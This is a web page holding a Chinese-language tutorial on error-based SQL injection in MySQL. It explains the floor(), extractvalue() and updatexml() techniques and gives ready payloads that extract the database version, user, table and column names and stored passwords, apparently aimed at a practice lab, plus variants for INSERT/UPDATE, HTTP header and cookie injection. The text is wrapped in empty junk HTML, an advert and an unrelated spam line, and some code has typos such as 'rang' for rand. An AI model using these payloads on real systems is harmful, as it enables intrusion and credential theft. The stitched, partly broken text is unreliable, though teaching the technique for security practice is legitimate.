<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                企業??AI智能體構建引擎,智能編排和調試,一鍵部署,支持知識庫和私有化部署方案 廣告
                ## 基于函數報錯手工注入 ### 思路、條件、優缺點等 當數據庫的函數被傳入錯誤參數時,會發生語法錯誤,正常情況下這類錯誤不應該回顯到前端頁面,但當中間件或程序未正常屏蔽時導致錯誤信息輸出到屏幕上,就能用來進行報錯注入了。 select/insert/update/delete都可以被用來報錯注入 **報錯注入條件:** 1. 后臺沒有屏蔽數據庫報錯信息,在語法發生錯誤時會輸出在前端 2. 運維人員設置中間件的時候,錯誤輸出沒有屏蔽 3. 程序員寫網站代碼的時候,沒有屏蔽錯誤信息輸出 **優缺點:** 1. 優點是注入速度快 2. 缺點是語句較為復雜,而且只能用**limit**依次進行猜解 總體來說,報錯注入其實是一種公式化的注入方法,主要用于在頁面中沒有顯示位,但是用mysql輸出了錯誤信息時使用。 ### 常用函數 floor():MYSQL 中用來取整的函數 ~~~sql select count(*) from information_schema.tables group by concat((select version())),floor(rang(0)*2); #concat 連接字符串功能 #floor 取float的整數值 #rang 取0-1之間隨機浮點值 #group by 對結果集進行排序 select verson()就是我們用來做sql注入的語句 ~~~ extractvalue():MYSQL 對 XML 文檔數據進行查詢的 XPATH 函數 ~~~sql select extractvalue(1,concat(0x7e,(select user()),0x7e)); #extractvalue():接收2個參數,第一個xml文檔,第二個xpath語句 #用concat構造一個錯誤的xpath字符串,使extractvalue函數報錯,顯示出構造的'錯誤'字符串 ~~~ updatexml():MYSQL 對 XML 文檔數據進行查詢和修改的 XPATH 函數 **最常用的報錯注入函數** ~~~sql select updatexml(1,concat(0x7e,(select user()),0x7e),1) #接收3個參數,第一個xml文檔,第二個xpath語句,第三個字符串 #原理和extravtvalue一樣,構造錯誤的xpath語句報錯 ~~~ ### updatexml報錯實戰 select、delete語句注入 ```sql #1 爆數據庫版本信息 k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) # #2 爆數據庫當前用戶 k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) # #3 爆數據庫 k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) # #4 爆表名 ## 反饋回的錯誤表示只能顯示一行,所以采用limit來一行一行顯示 k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0) # #5 爆字段 k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) # #6 爆字段內容 k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) # ``` insert、update、注入 增、改同樣可以用來進行報錯注入,只是需要前后分別用or語句連接,使語句完整,一般需要抓包用bp改參數 ```sql # 原語句 insert into xxx id values ('k'); # 報錯注入語句 k' or updatexml(1,concat(0x7e,(命令)),0) or' # 組合后語句 insert into xxx id values ('k' or updatexml(1,concat(0x7e,(命令)),0) or''); ``` head和cookie注入 如果代碼調用了head或cookie中的信息拿到數據庫進行拼接,也可以用報錯注入嘗試 同樣是先用單引號找到注入點,在進行注入 ```sql # http head頭注入,假如是對瀏覽器類型的檢測 Mozilla ' or updatexml(1,concat(0x7e,database ()),0) or ' # cookie注入,假如原cookie為 ant[uname]=admin ant[uname]=admin' and updatexml (1,concat(0x7e,database()),0) # ```
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看